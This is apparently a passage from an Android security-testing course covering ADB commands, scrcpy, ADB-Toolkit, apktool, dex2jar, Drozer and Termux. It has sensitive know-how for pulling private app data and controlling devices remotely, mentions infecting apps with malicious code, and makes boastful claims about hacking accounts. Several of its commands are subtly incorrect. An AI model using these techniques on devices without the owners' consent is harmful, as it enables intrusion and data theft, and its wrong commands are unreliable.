           dev:<character device name>
           jdwp:<process pid> (remote only)

     forward --remove LOCAL   remove specific forward socket connection
     forward --remove-all     remove all forward socket connections

     ppp TTY [PARAMETER...]   run PPP over USB
     reverse --list           list all reverse socket connections from device
     reverse [--no-rebind] REMOTE LOCAL
         reverse socket connection using:
           tcp:<port> (<remote> may be "tcp:0" to pick any open port)
           localabstract:<unix domain socket name>
           localreserved:<unix domain socket name>
           localfilesystem:<unix domain socket name>

     reverse --remove REMOTE  remove specific reverse socket connection
     reverse --remove-all     remove all reverse socket connections from device

    file transfer:
     push [--sync] LOCAL... REMOTE
         copy local files/directories to device
         --sync: only push files that are newer on the host than the device

     pull [-a] REMOTE... LOCAL
         copy files/dirs from device
         -a: preserve file timestamp and mode

     sync [all|data|odm|oem|product_services|product|system|vendor]
         sync a local build from $ANDROID_PRODUCT_OUT to the device (default all)
         -l: list but don't copy

    shell:
     shell [-e ESCAPE] [-n] [-Tt] [-x] [COMMAND...]

         run remote shell command (interactive shell if no command given)
         -e: choose escape character, or "none"; default '~'
         -n: don't read from stdin
         -T: disable PTY allocation
         -t: force PTY allocation
         -x: disable remote exit codes and stdout/stderr separation

     emu COMMAND              run emulator console command

    app installation (see also `adb shell cmd package help`):
     install [-lrtsdg] [--instant] PACKAGE
         push a single package to the device and install it

     install-multiple [-lrtsdpg] [--instant] PACKAGE...
         push multiple APKs to the device for a single package and install them

     install-multi-package [-lrtsdpg] [--instant] PACKAGE...
         push one or more packages to the device and install them atomically
         -r: replace existing application
         -t: allow test packages
         -d: allow version code downgrade (debuggable packages only)
         -p: partial application install (install-multiple only)
         -g: grant all runtime permissions
         --instant: cause the app to be installed as an ephemeral install app
         --no-streaming: always push APK to device and invoke Package Manager as separate steps
         --streaming: force streaming APK directly into Package Manager
         --fastdeploy: use fast deploy
         --no-fastdeploy: prevent use of fast deploy
         --force-agent: force update of deployment agent when using fast deploy
         --date-check-agent: update deployment agent when local version is newer and using fast deploy
         --version-check-agent: update deployment agent when local version has different version code and using fast deploy
         --local-agent: locate agent files from local source build (instead of SDK location)

     uninstall [-k] PACKAGE
         remove this app package from the device
         '-k': keep the data and cache directories

    backup/restore:
       to show usage run "adb shell bu help"

    debugging:
     bugreport [PATH]
         write bugreport to given PATH [default=bugreport.zip];
         if PATH is a directory, the bug report is saved in that directory.
         devices that don't support zipped bug reports output to stdout.

     jdwp                     list pids of processes hosting a JDWP transport
     logcat                   show device log (logcat --help for more)

    security:
     disable-verity           disable dm-verity checking on userdebug builds
     enable-verity            re-enable dm-verity checking on userdebug builds
     keygen FILE
         generate adb public/private key; private key stored in FILE,

    scripting:
     wait-for[-TRANSPORT]-STATE
         wait for device to be in the given state
         STATE: device, recovery, rescue, sideload, bootloader, or disconnect
         TRANSPORT: usb, local, or any [default=any]

     get-state                print offline | bootloader | device
     get-serialno             print <serial-number>
     get-devpath              print <device-path>

     remount [-R]
          remount partitions read-write. if a reboot is required, -R will
          will automatically reboot the device.

     reboot [bootloader|recovery|sideload|sideload-auto-reboot]
         reboot the device; defaults to booting system image but
         supports bootloader and recovery too. sideload reboots
         into recovery and automatically starts sideload mode,
         sideload-auto-reboot is the same but reboots after sideloading.

     sideload OTAPACKAGE      sideload the given full OTA package
     root                     restart adbd with root permissions
     unroot                   restart adbd without root permissions
     usb                      restart adbd listening on USB
     tcpip PORT               restart adbd listening on TCP on PORT

    internal debugging:
     start-server             ensure that there is a server running
     kill-server              kill the server if it is running
     reconnect                kick connection from host side to force reconnect
     reconnect device         kick connection from device side to force reconnect
     reconnect offline        reset offline/unauthorized devices to force reconnect

    environment variables:
     $ADB_TRACE
         comma-separated list of debug info to log:
         all,adb,sockets,packets,rwx,usb,sync,sysdeps,transport,jdwp
     $ADB_VENDOR_KEYS         colon-separated list of keys (files or directories)
     $ANDROID_SERIAL          serial number to connect to (see -s)
     $ANDROID_LOG_TAGS        tags to be used by logcat (see logcat --help)
     $ADB_LOCAL_TRANSPORT_MAX_PORT max emulator scan port (default 5585, 16 emus)

    ┌──(mrdev㉿kali)-[~]
    └─$

    To do this Go to This PC and right-click. Click on properties.

    Click on Advanced System Settings. Click Environment Variable.

    Search in System Variable " Path " and type semicolon paste the path of ADB and Save it.

    Run it. Run " adb ".


    Install ADB on Linux

    1) Installing ADB on Linux is quite simple. For Debian based operating system, use the following command:

    Or, if it doesn’t work,

    2) Let’s test whether it works or not using the following command:

    Run ADB

    1) To fully use all the ADB functions on Android devices, it is necessary to make certain changes in the phone settings. Depending on the manufacturer, the configuration menu may vary. But in general, the main actions are the same:

    Turn on Developer Options

    a. Go to settings > About device > Software info. Tap 5 to 7 times on the Build number to turn on the Developer Option.

    b. Now go back to the Developer Option > Turn on USB debugging.

    c. Now, Plug in your Android Device and run “ADB devices” to display all information about devices connected to the PC and with their serial numbers. A popup screen appears to get access to the Android device.

    2. Now you can here type all useful commands to intercept with Android.

    Basic Commands to run on ADB

    ADB Basics

    Command

    Description

    adb devices

    Lists connected devices, helping you identify which devices are currently recognized by ADB.

    adb root

    Restarts adbd (the ADB daemon) with root permissions, enabling access to system-level operations.

    adb start-server

    Initiates the ADB server, allowing communication between your computer and Android devices via ADB commands.

    adb kill-server

    Terminates the ADB server, useful if you encounter issues or need to reset the ADB server.

    adb reboot

    Reboots the connected Android device. Useful when changes require a device restart or to troubleshoot issues.

    adb devices -l

    Provides a detailed list of connected devices, including their product and model information.

    adb shell

    Opens a background terminal on the connected Android device, enabling direct interaction with its command line.

    exit

    Exits the background terminal and returns you to the local terminal or command prompt on your computer.

    adb help

    Displays a list of all available ADB commands along with brief descriptions, helping you discover new commands.

    adb -s <device>

    Redirects subsequent ADB commands to a specific device identified by its unique device ID.

    adb –d

    Directs ADB commands to the only attached USB device, useful when multiple devices are connected.

    adb –e

    Directs ADB commands to the only attached emulator, facilitating testing and debugging on virtual devices.

    Package Installation 

    Command

    Description

    adb shell install <app>

    Installs the specified app onto the connected Android device from the local system.

    adb shell install <path_to_app>

    Installs an app located at the specified path on the connected Android device.

    adb shell install -r <path_to_app>

    Reinstalls an app located at the specified path, replacing the existing version on the connected Android device.

    adb shell uninstall <package_name>

    Uninstalls the app identified by its package name from the connected Android device.

    Paths

    Command

    Description

    /data/data/<package_name>/databases

    Represents the directory on the Android device where app-specific databases are stored.

    /data/data/<package_name>/shared_prefs/

    Represents the directory on the Android device where app-specific shared preferences files are stored.

    /data/app

    Refers to the directory on the Android device where APKs installed by the user are stored.

    /system/app

    Represents the directory on the Android device where pre-installed system APK files are stored.

    /mnt/asec

    Refers to the directory on the Android device where encrypted apps (App2SD) are stored.

    /mnt/emmc

    Represents the internal SD card directory on the Android device.

    /mnt/sdcard

    Represents the external or internal SD card directory on the Android device, depending on the device configuration.

    /mnt/sdcard/external_sd

    Represents the external SD card directory on the Android device, if present.

    adb shell ls

    Lists the contents of the current directory on the Android device.

    adb shell ls -s

    Lists the contents of the current directory along with the size of each file.

    adb shell ls -R

    Lists the contents of the current directory recursively, including subdirectories and their contents.

    File Operations 

    Command

    Description

    adb push <local> <remote>

    Copies a file or directory from the local system to the specified location on the Android device.

    adb pull <remote> <local>

    Copies a file or directory from the specified location on the Android device to the local system.

    run-as cat <file>

    Accesses and displays the contents of a file located within the private package files of an installed app.

    Package Info 

    Command

    Description

    adb shell list packages

    Lists the package names of all installed apps on the Android device.

    adb shell list packages -r

    Lists the package names of all installed apps along with the path to their corresponding APK files.

    adb shell list packages -3

    Lists the package names of third-party apps installed on the Android device.

    adb shell list packages -s

    Lists the package names of only the system apps installed on the Android device.

    adb shell list packages -u

    Lists the package names of all installed apps, including those that have been uninstalled but not yet removed.

    adb shell dumpsys package packages

    Provides detailed information about all installed packages on the Android device.

    adb shell dump

    Provides detailed information about a specific package identified by its package name.

    adb shell path

    Retrieves the file path to the APK file of a specific package identified by its package name.

    Device Related Commands 

    Command

    Description

    adb reboot-recovery

    Reboots the connected Android device into recovery mode, enabling various system-level operations.

    adb reboot fastboot

    Reboots the connected Android device into fastboot mode, facilitating bootloader-related operations.

    adb shell screencap -p "/path/to/screenshot.png"

    Captures a screenshot of the device's current screen and saves it to the specified file path on the device.

    adb shell screenrecord "/path/to/record.mp4"

    Records the screen of the connected Android device and saves it as a video file at the specified location.

    adb backup -apk -all -f backup.ab

    Creates a backup of the device's settings and all installed apps, saving it to the specified file.

    adb backup -apk -shared -all -f backup.ab

    Creates a backup of the device's settings, installed apps, and shared storage, saving it to the specified file.

    adb backup -apk -nosystem -all -f backup.ab

    Creates a backup of only the non-system apps installed on the device, saving it to the specified file.

    adb restore backup.ab

    Restores a previous backup of the device's settings and apps from the specified file.

    adb shell am start <intent>

    Sends an intent to the Android system to start a specific activity based on the provided intent parameters.

    adb shell am start -a android.intent.action.VIEW -d URL

    Opens the default web browser on the device and navigates to the specified URL.

    adb shell am start -t image/* -a android.intent.action.VIEW

    Opens the default image viewer on the device, allowing the user to view images stored locally.

    Configure Settings Commands 

    Command

    Description

    adb shell dumpsys battery set level

    Sets the battery level of the connected Android device to the specified value (0-100).

    adb shell dumpsys battery set status

    Sets the battery status of the connected Android device to the specified value (unknown, charging, etc.).

    adb shell dumpsys battery reset

    Resets the battery statistics of the connected Android device, clearing any accumulated data.

    adb shell dumpsys battery set usb

    Sets the USB connection status of the connected Android device to either ON or OFF.

    adb shell wm size WxH

    Sets the screen resolution of the connected Android device to the specified width (W) and height (H) in pixels.

    Logs 

    Command

    Description

    adb logcat [options] [filter] [filter]

    Displays logs from the device, allowing you to monitor system and app activity for debugging purposes.

    adb bugreport

    Generates a bug report containing information about the device's current state, useful for debugging issues.

    Permissions 

    Command

    Description

    adb shell permissions groups

    Lists all permission groups defined on the connected Android device, providing insight into app permissions.

    adb shell list permissions -g -r

    Lists detailed information about all permissions defined on the connected Android device, including their groups.

    Android Debug Bridge (ADB) & Device Interaction Lesson 14 of 38
    In Progress

    Scrcpy: Display & Control Android Devices via USB and TCP/IP

    Do you want to access your Android device remotely? There's a tool for that: "Scrcpy."

    Scrcpy lets you display and control your Android devices through a USB connection or over a network (TCP/IP).

    To get started, you need to install and configure ADB (Android Debug Bridge).


    Configure on windows

    1) Download scrcpy from Github.

    2) Configure scrcpy. Extract all contents and copy them to "C:\adb\".

    Access Your Android device using a USB cable

    Now open your command-line interface. Here type “adb devices” to display all information about devices connected to the PC and with their serial numbers.

    Now Run scrcpy.exe. Here you see your device pop up on the screen.

    Now let it connect with TCP/IP. 

    Access your Android device from the IP address

    You have just to type "adb connect {your device IP address}" with port ID. And hit enter. 

    As here you see we are now connected with the Android device through TCP/IP.

    Before we start, it is important your Android device and your PC both be connected to the same network.

    Now open the command-line interface. Plugin your Android and here type "adb devices". As here you see a device is connected to a USB.

    Now here type adb tcpip <port number>.

    Now let it connect. Type "adb connect" and here type your IP address. To find the IP address, go to Settings → About phone → Status. This is your IP address.

    Run scrcpy.exe:

    There are few other commands are there. I suggest you read the manual by typing "scrcpy.exe -h".

    If you have any doubts or queries write below in my comment.

    Android Debug Bridge (ADB) & Device Interaction Lesson 15 of 38
    In Progress

    ADB-ToolKit: All-in-One Automated ADB Command Suite

    The ADB-Toolkit is a comprehensive BASH Script featuring 28 options, including a METASPLOIT Section with 6 additional options specifically tailored for penetration testing on Android devices. Developed in collaboration with ADB (Android Debug Bridge), this tool facilitates various tasks related to debugging and modifying Android applications.

    mrdev@kali:~$git clone https://github.com/ASHWIN990/ADB-Toolkit.git
    mrdev@kali:~$ls
    ADB-Toolkit
    mrdev@kali:~$ cd ADB-Toolkit
    mrdev@kali:(~ADB-Toolkit/)# chmod +x ./install.sh
    mrdev@kali:(~ADB-Toolkit/)# sudo bash ./install.sh install
    mrdev@kali:(~ADB-Toolkit/)# sudo ./ADB-Toolkit.sh

    Install & Configure on Linux

    To get started with the ADB-Toolkit on Linux, follow these steps:

    1. Open the Terminal and execute the command below to download or clone the ADB toolkit from its GitHub page:

    2. Once downloaded, navigate to the toolkit directory and install it using the following commands:

    3. After installation, you can launch the tool using the command:

    For visual reference, a screenshot of the ADB Toolkit is provided below the commands.

    ADB-toolkit

    Any further guidance on the usage of the ADB Toolkit can be found in a video tutorial, where users can watch and discover the answers to their queries.

    Android Debug Bridge (ADB) & Device Interaction Lesson 16 of 38
    In Progress

    Run ADB Commands on Android without Root or PC

    Usually, ADB is used to communicate or Access an Android Device to find bugs and vulnerabilities.

    Click Here to Learn More About ADB (Android Debug Bridge)

    But this video is going to be an experiment. Can I manage two Android devices using ADB, if yes then how? Let’s find out our answer with this Article.



    Prerequisites

    The following are the requirements before we proceed further:

    1. Two Android Devices with OTG supported (On my side Infinix Hot 8 and Samsung J7)
    2. OTG cable or Port
    3. USB cable

    Getting Started

    My Infinix device will be my host device(Infinix) and Samsung will be my target device(Samsung j7).

    1. Open Playstore and install the ADB OTG Application.

    2. It’s time to Plug in the OTG to the Host device and then Plug in the USB cable to the corresponding side.

    3. Now launch the application to get the ADB command shell. A pop-up screen appears on my Samsung device.

    4. Click ok and give access to the host. Now here on my Infinix device, I get the shell interaction. 

    5. Now it's your time to type UNIX-based commands.

    Reverse Engineering & Static/Dynamic Analysis Lesson 17 of 38
    In Progress

    Apktool: Reverse Engineering Android APK Files

    Apktool is a tool used for Android application reverse engineering, and for creating malware by infecting legitimate apps. 

    Apktool is one of the most important tools that must be included in an Android penetration tester's arsenal.

    Install and Configure for Apktool

    Apktool is widely available for Windows, Mac, and Linux platforms. Before we install Apktool in the system let's know its features and its requirement.

    Features

    • Disassembling resources to their nearly original form (including resources. arsc, classes.dex, 9.png. and XMLs)
    • Rebuilding decoded resources back to binary APK/JAR
    • Organizing and handling APKs that depend on framework resources
    • Smali Debugging (Removed in 2.1.0 in favor of IdeaSmali)
    • Helping with repetitive tasks

    Requirements

    • Java
    • Basic knowledge of Android SDK, AAPT, and Smali

    Apktool for Windows

    Before installing Apktool on your Windows machine make sure, Java is already installed on your system. If not yet installed click on here.
    To verify Java is installed on your system just type the following command:
    Microsoft Windows[Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All right reserved.

    C:\users\mrdev> java --version
    java 15.0.2 2019-07-16
    Java(TM) Runtime Environment (build 15.0.2+10)
    Java HotSpot(TM) 64-Bit Server VM(build 15.2.2+10, mixed mode, sharing)

    C:\users\mrdev>
     Follow a few steps to run and install Apktool:
    1. Create a new folder on C:\ Drive. Name the folder "apktool". Download the Windows wrapper script file, and paste the script on the notepad. Save it to C:\apktool\ folder as apktool.bet.

    2. Download apktool-2 (find the newest here). Move the downloaded file to the C:\apktool\ folder. Rename the downloaded jar to apktool.jar.


    3. If you do not have access to Apktool, then you have to add that directory to your Environment Variables System PATH variable.

    Right-Click on This PC > Click Properties > Advanced System Settings > Environment Varibale.

    4. Double click on Path and paste the path of the system variable. Put a semicolon (;) and paste the path C:\apktool. For Windows 10 users just paste no need semicolon. 

    5. To Run Apktool, open Command Prompt (Press CTRL + R and type cmd) and type apktool.


    Apktool for Linux

    Apktool comes pre-installed with Kali Linux. If you have any other Linux just follow my steps:


    1. Download the Linux wrapper script and paste it into any text editor. Save it as apktool.

    linuxlite ~ nano apktool
    linuxlite ~ mkdir apktool
    linuxlite ~ sudo mv apktool apktool.jar apktool
    linuxlite ~ cd apktool
    linuxlite ~ | apktool chmod +x apktool apktool.jar
    linuxlite ~ | apktool
    linuxlite ~ cd ..
    linuxlite ~  sudo mv apktool /usr/local/bin 

    2. Download apktool-2 (find the newest here). Rename downloaded jar to apktool.jar.

    3. Create a new directory and move both files (apktool.jar & apktool), and make sure both files are executable (chmod +x).

    3.  Move apktool directory to /usr/local/bin (root needed).

    4. Try running apktool via cli.

    If you are a Kali Linux user no need to worry just go to Application > Reverse Engineering > Apktool.

    > Executing "apktool"
    Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true 
    Apktool v2.4.1-dirty - a tool for reengineering Android apk files
    with smali v2.4.0-dev and baksmali v2.4.0-dev
    Copyright 2014 Ryszard Wiśniewski <brut.alll@gmail.com>
    Updated by Connor Tumbleson <connor.tumbleson@gmail.com>

    usage: apktool
     -advance,--advanced   prints advance information.
     -version,--version    prints the version then exits
    usage: apktool if|install-framework [options] <framework.apk>
     -p,--frame-path <dir>   Stores framework files into <dir>.
     -t,--tag <tag>          Tag frameworks using <tag>.
    usage: apktool d[ecode] [options] <file_apk>
     -f,--force              Force delete destination directory.
     -o,--output <dir>       The name of folder that gets written. Default is apk.out
     -p,--frame-path <dir>   Uses framework files located in <dir>.
     -r,--no-res             Do not decode resources.
     -s,--no-src             Do not decode sources.
     -t,--frame-tag <tag>    Uses framework files tagged by <tag>.
    usage: apktool b[uild] [options] <app_path>
     -f,--force-all          Skip changes detection and build all files.
     -o,--output <dir>       The name of apk that gets written. Default is dist/name.apk
     -p,--frame-path <dir>   Uses framework files located in <dir>.

    For additional info, see: http://ibotpeaches.github.io/Apktool/
    For smali/baksmali info, see: https://github.com/JesusFreke/smali

    Usage of Apktool

    For demo purposes, I have an apk file on my desktop.

    Use debug mode (d) to decode the given apk file (/Desktop/test.apk):

    ┌──(mrdev㉿kali)-[~/Desktop]
    └─$apktool d test.apk
    ┌──(mrdev㉿kali)-[~/Desktop]
    └─$ apktool b test

    It will create a new directory on your desktop.

    Open that file.
    Using Apktool, you inject malicious code inside this application and many more. You learn them in my upcoming article, so stay connected with us.

    Use build mode (b) to build the apk again (/Desktop/test):

    To find the apk, Go to this Path (/Desktop/test/dist). 
    Learn more in my upcoming article.

    Reverse Engineering & Static/Dynamic Analysis Lesson 18 of 38
    In Progress

    Decompile Android APK to JAR using dex2jar and JD-GUI

    Dex2jar and JD-GUI are two different tools that are often used for reverse engineering Android apps. Dex2jar converts .dex files to .jar files, and JD-GUI is a Java decompiler that can decompile .jar files to the original Java source code.




    Steps to install Dex2jar

    Follow the below steps to install Dex2jar on your Windows or on your Linux Platform:

    For Windows

    Follow the below steps to install dex2jar on the Windows Platform:

    1. Download Dex2jar and extract the file.

    2. Open the folder and open the command prompt from here, by pressing Shift and right-clicking on the mouse. Let's start with the help command:
    D:\Download\dex2jar-2.0\dex2jar-2.0> d2j-dex2jar -h
    d2j-dex2jar -- convert dex to jar
    usage: d2j-dex2jar [options] <file0> [file1 ... fileN]
    options:
     -d,--debug-info              translate debug info
     -e,--exception-file <file>   detail exception file, default is $current_dir/[fi
                                  le-name]-error.zip
     -f,--force                   force overwrite
     -h,--help                    Print this help message
     -n,--not-handle-exception    not handle any exception throwed by dex2jar
     -o,--output <out-jar-file>   output .jar file, default is $current_dir/[file-na
                                  me]-dex2jar.jar
     -os,--optmize-synchronized   optmize-synchronized
     -p,--print-ir                print ir to Syste.out
     -r,--reuse-reg               reuse regiter while generate java .class file
     -s                           same with --topological-sort/-ts
     -ts,--topological-sort       sort block by topological, that will generate more
                                   readable code
     -v,--verbose                 show progress
    version: reader-2.0, translator-2.0, ir-2.0
    3. To Decompile an APK file, type the following command:
    Remember: Before decompile an android app, make sure you have pasted the APK file inside the dex2jar directory.
    D:\Download\dex2jar-2.0\dex2jar-2.0> d2j-dex2jar "test.apk"
    dex2jar test.apk -> .\test-dex2jar.jar

    D:\Download\dex2jar-2.0\dex2jar-2.0>

    For Linux (Kali Linux)

    Now let it install dex2jar on the Linux Platform. I always prefer you, Kali Linux for penetration testing purposes.

    1. Dex2jar comes, preinstall with Kali Linux. You do not need to install it again.

    2. To run this application, go to reverse engineering and then click dex2jar.


    See the options.
    > Executing "d2j-dex2jar -h"
    Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    d2j-dex2jar -- convert dex to jar
    usage: d2j-dex2jar [options] <file0> [file1 ... fileN]
    options:
     -d,--debug-info              translate debug info
     -e,--exception-file <file>   detail exception file, default is $current_dir/[fi
                                  le-name]-error.zip
     -f,--force                   force overwrite
     -h,--help                    Print this help message
     -n,--not-handle-exception    not handle any exception throwed by dex2jar
     -o,--output <out-jar-file>   output .jar file, default is $current_dir/[file-na
                                  me]-dex2jar.jar
     -os,--optmize-synchronized   optmize-synchronized
     -p,--print-ir                print ir to Syste.out
     -r,--reuse-reg               reuse regiter while generate java .class file
     -s                           same with --topological-sort/-ts
     -ts,--topological-sort       sort block by topological, that will generate more
                                   readable code
     -v,--verbose                 show progress
    version: reader-2.0, translator-2.0, ir-2.0

    3. I have an Android Application file on my desktop. I just want to decompile that file. So change the directory to Desktop. From here, type the following command to decompile that Android APK file.

    ┌──(mrdev㉿kali)-[~/Desktop]
    └─$ d2j-dex2jar test.apk
    Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    dex2jar test.apk -> .\test-dex2jar.jar

    ┌──(mrdev㉿kali)-[~/Desktop]
    └─$

     4. A jar file just appears on the desktop screen.


    Steps to Install JD-GUI and its Usage

    JD-GUI is a Java decompiler that can decompile .jar files to the original Java source code. Follow the below steps to install it on Windows or on the Linux Platform.

    For Windows

    1. To install it on the Windows platform click here & download it for Windows. After completion open it and extract it
    2. Double-click on the application to launch.

    3. Now open the file. Here see the decompiled Java code of the Android APK file.


    For Linux Platform

    To open the jar file you need JD-GUI, but this tool does not come pre-install with Kali Linux. So you have to install it manually.

    1. Visit the official JD-GUI GitHub site. From here download it for Linux. As I am here using Debian-based Linux I am here to download the .deb file.
    2. After completion of the download, open the directory. From this directory open the terminal from here.
    • Use the following command to install JD-GUI on Linux:
    ┌──(mrdev㉿kali)-[~/Download]
    └─$ ls
    jd-gui-1.6.6.deb

    ┌──(mrdev㉿kali)-[~/Download]
    └─$ sudo chmod +x jd-gui-1.6.6.deb

    ┌──(mrdev㉿kali)-[~/Download]
    └─$ sudo dpkg -i jd-gui-1.6.6.deb

    3. Run JD-GUI by searching on All Applications.

    4. Select the jar file, and see the magic.



    In this way, You can decompile any APK file in this way, just follow my steps.

    Reverse Engineering & Static/Dynamic Analysis Lesson 19 of 38
    In Progress

    Drozer: Automated Android App Security Assessment

    We all remember the time when we used to create a bunch of applications to check for vulnerabilities in Android applications. Then Drozer came into existence, an open-source all-in-one combination to check your application against known vulnerabilities.



    Download and install Drozer

    C:\drozer>drozer.bat 
    C:\drozer>adb install agent.apk
    C:\drozer>adb forward tcp:31415 tcp:31415
    Drozer is a tool used for automated Android app assessments.

    Prerequisites

    The following are the requirements for setting up: 
    • A workstation (in my case Windows 8) with the following:
    • An Android device or emulator running Android 2.1 or later.

    Steps to install Drozer

    Follow my steps to get Drozer up and running. Before we proceed further, make sure you already have Java and ADB, up and running on your Windows workstation.

    1. Visit the official GitHub page and click on release and download the appropriate version of Drozer, if you are working with a different setup, and also download the appropriate agent file.


    2. Extract the downloaded zip file, and run the Drozer installer. The installation uses the usual Windows installation wizard.

     3. Click Next, and choose the destination location for Drozer installation.
    As shown in the preceding, the default location is C:\drozer. It is recommended you use the default location if you would like to configure your system identical to ours.

    4.  Follow the wizard's instructions to complete the installation. Click Finish to complete the process.

    The preceding installation process automatically installs all the required Python dependencies and sets up a complete Python environment.

    To check the validity of the installation, perform the following steps:
    1. Go to the destination folder of Drozer and open the command prompt by pressing SHIFT and right-click on the mouse. 

    2. Now run the drozer.bat file, 
    3. Install the agent.apk file using ADB, So copy the agent.apk file to the Drozer folder. Plugin Android device via USB and run the following command.

    Don't know what ADB is then click here

    4. To start working with Drozer for your assessments, we need to connect the Drozer console on the workstation to the agent on the device.

    To do this, start the agent on your Android device and run the following command to set the port forward. 
    Make sure you are running the embedded server when launching the agent.
    5. Let me check the help commands.

    6. Now, we can simply run the following command to connect to the agent from the workstation.

    We should now be presented with the Drozer console, as shown on my window screen.

    Android Terminal Security & Termux Framework Lesson 20 of 38
    In Progress

    Termux: Complete Linux Terminal Emulator for Android

    Termux is a powerful terminal emulator for Android, which also includes a Linux environment. It provides users with a lightweight, portable, and convenient way to use Linux command line tools and utilities on their mobile devices. Some of the features of Termux include:

    • A terminal emulator, which allows users to access a Linux command line interface on their Android device.
    • A package manager, which allows users to easily install additional software and utilities, such as bash, git, and ssh.
    • Support for a wide range of Linux commands and utilities, including basic commands like ls, cd, and mkdir, as well as more advanced tools like nano, vim, and tmux.
    • Support for multiple languages and character sets, including UTF-8.
    • Support for keyboard shortcuts and mouse-based navigation.
    • A built-in text editor, Nano.
    • The ability to run SSH and SFTP clients makes it possible to connect to remote servers.
    • The ability to run several other network tools like Nmap, tcpdump, etc.
    • It's open-source, which means anyone can contribute to its development and improvement.

    Termux is a versatile tool that can be used for a wide range of tasks, such as network scanning, penetration testing, and programming. It can also be used for more basic tasks, like editing files, managing files, and running simple scripts.

    One of the biggest advantages of Termux is that it allows users to run Linux commands and utilities on their mobile devices, which can be very useful in situations where a full-fledged computer is not available. It is a great tool for students and professionals who want to be productive on the go.

    To Know more about termux then go to their official site https://termux.com/.

    FAQs

    Some Frequently asked question takes place when the word comes. (F.A.Q)

    Question 1. Does Termux Useful For Hacking?

    My answer is yes, You can hack through termux. There are several Hacking tools available for hacking.

    Question 2. Does Termux Require Root Permissions?

    No, I have already talked about this at starting. If the device is already rooted, you can do some advanced level, if not then don’t worry about all this.

    Question 3. Can I Became a Hacker by Using Termux App?

    With the tool, we can only become a skit, not a full-stack hacker. Always remember “A little knowledge is a dangerous thing”.

    Question 4. Is Termux Useful for Programmers?

    Of Course, It will be helpful but limited.

    Question 5. Can I use Termux to Hack Websites?

    My answer is yes. There are several tools available to hack Websites. One of them is Termux.

    Question 6. Can I Hack Facebook, Gmail, and Instagram using Termux?

    Yes, You Can, but Only If You Know Which Tool You Should use.

    Question 7. Can I hack an Android Phone With Termux?

    Yes, You can Hack Using Metasploit Framework In Termux, Not Only Android Smartphones you can do even more with Metasploit.

    Question 8. Can I Hack Wi-fi through Termux?

    There is some possibility to hack Wi-fi, But not sure.

    Question 9. Can I Hack Everything With Termux?

    It depends on your knowledge. 

    Before we get started with termux, you have a basic knowledge of the terminal. If you have no knowledge of the terminal then Watch my Linux command video to move on.

    Android Terminal Security & Termux Framework Lesson 21 of 38
    In Progress

    FUN with Termux: Advanced Utilities and Scripting

    There are many fun things you can do with Termux on your Android device. Here are a few examples:

    pkg install figlet
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $ figlet
    Hello World
      _   _      _ _        __        __         _     _ _ _
     | | | | ___| | | ___   \ \      / /__  _ __| | __| | | |
     | |_| |/ _ \ | |/ _ \   \ \ /\ / / _ \| '__| |/ _` | | |
     |  _  |  __/ | | (_) |   \ V  V / (_) | |  | | (_| |_|_|
     |_| |_|\___|_|_|\___/     \_/\_/ \___/|_|  |_|\__,_(_|_)
    pkg install toilet
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $ toilet Hello World
    pkg install cmatrix
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $ cmatrix -h
    $ cmatrix -a -B
    apt-get install cowsay -y
    cowsay Subscribe to my YouTube channel

     _________________________________________
    / Subscribe                      \

    \  to my YouTube channel         /

     -----------------------------------------
            \   ^__^
             \  (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||

    pkg install sl
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $ sl
    yes I Love You
    I love you
    I love you
    I love you
    I love you
    I love you
    I love you
    I love you
    I love you
    ^c
    $ 
    $ pkg install screenfetch
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    ------------------------------------------------------------------------
    $ screenfetch

    Linux is fun! Huhhh. OK, if you don’t believe me. Mind me at the end of the blog, you will have to believe that Linux is actually a fun box.

    Game emulation

    You can use Termux to emulate classic games like Tetris, Pac-Man, and Space Invaders.

    Music players

    You can use termux to listen to music on your Android device. There are several terminal-based music players available, like cmus, mocp, and ncmpcpp.

    Customizing terminal

    You can use the termux style to change the look of your terminal. The package provides several color schemes and themes for the terminal

    FIGlet

    You can use the figlet command to create large text banners in the terminal. You can write your name or any text you want and figlet will convert it into a banner.

    FIGlet is a computer program that generates text banners, in a variety of typefaces, composed of letters made up of conglomerations of smaller ASCII characters.
    To install FIGlet run the following commands:


    Whenever you type something it will show you the ASCII code.

    Toilet

    You can use the toilet command to create ASCII art in the terminal. It supports many different styles, such as 3D, slant, and bubble.

    To install a toilet just type the following:

    Which will install the toilet and any other packages on which it depends. 

    Cmatrix

    Cmatrix is written in ncurses under Linux and should compile on other OSes with few modifications. I am always interested to hear from people who use this program and any modifications they make to it!

    Let’s start with How to Get the Matrix Effect The terminal on any terminal:

    for help! run following:

    Just type the following command for matrix effect:

    Every time you always remember to terminate any command just click: CTRL + C.

    Cowsay

    Cowsay is a program that generates ASCII pictures of a cow with a message. It can also generate pictures using pre-made images of other animals, such as Tux the Penguin, and the Linux mascot. It is written in Perl. 

    There is also a related program called cow think, with cows with thought bubbles rather than speech bubbles.

    To install COWSAY type the following:

    Give Cowsay a line of text and it will generate the image of talking cows in ASCII art saying that line.

    sl (Steam Locomotive)

    You might be aware of the command ‘ls‘in the list command and use it frequently to view the contents of a folder but because of miss-typing sometimes you would result in ‘sl‘, how about getting a little fun in the terminal and not “command not found“.


    yes

    It is funny but useful as well, especially in scripts and for System Administrators where an automated predefined response can be passed to the terminal or generated.

    yes <what you want to print>

    Note: (Till you interrupt i.e. ctrl+c).

    screenfetch

    ScreenFetch is a System Information Tool designed primarily for Bash Shell but functions with other shell environments as well. The tool is smart enough to auto-detect the Linux distribution you are using and generate the ASCII logo of the distribution with certain valuable information to the right of the logo.

    Type following:

    There are many such tools.

    Android Terminal Security & Termux Framework Lesson 22 of 38
    In Progress

    Top Hacking Tools in Termux

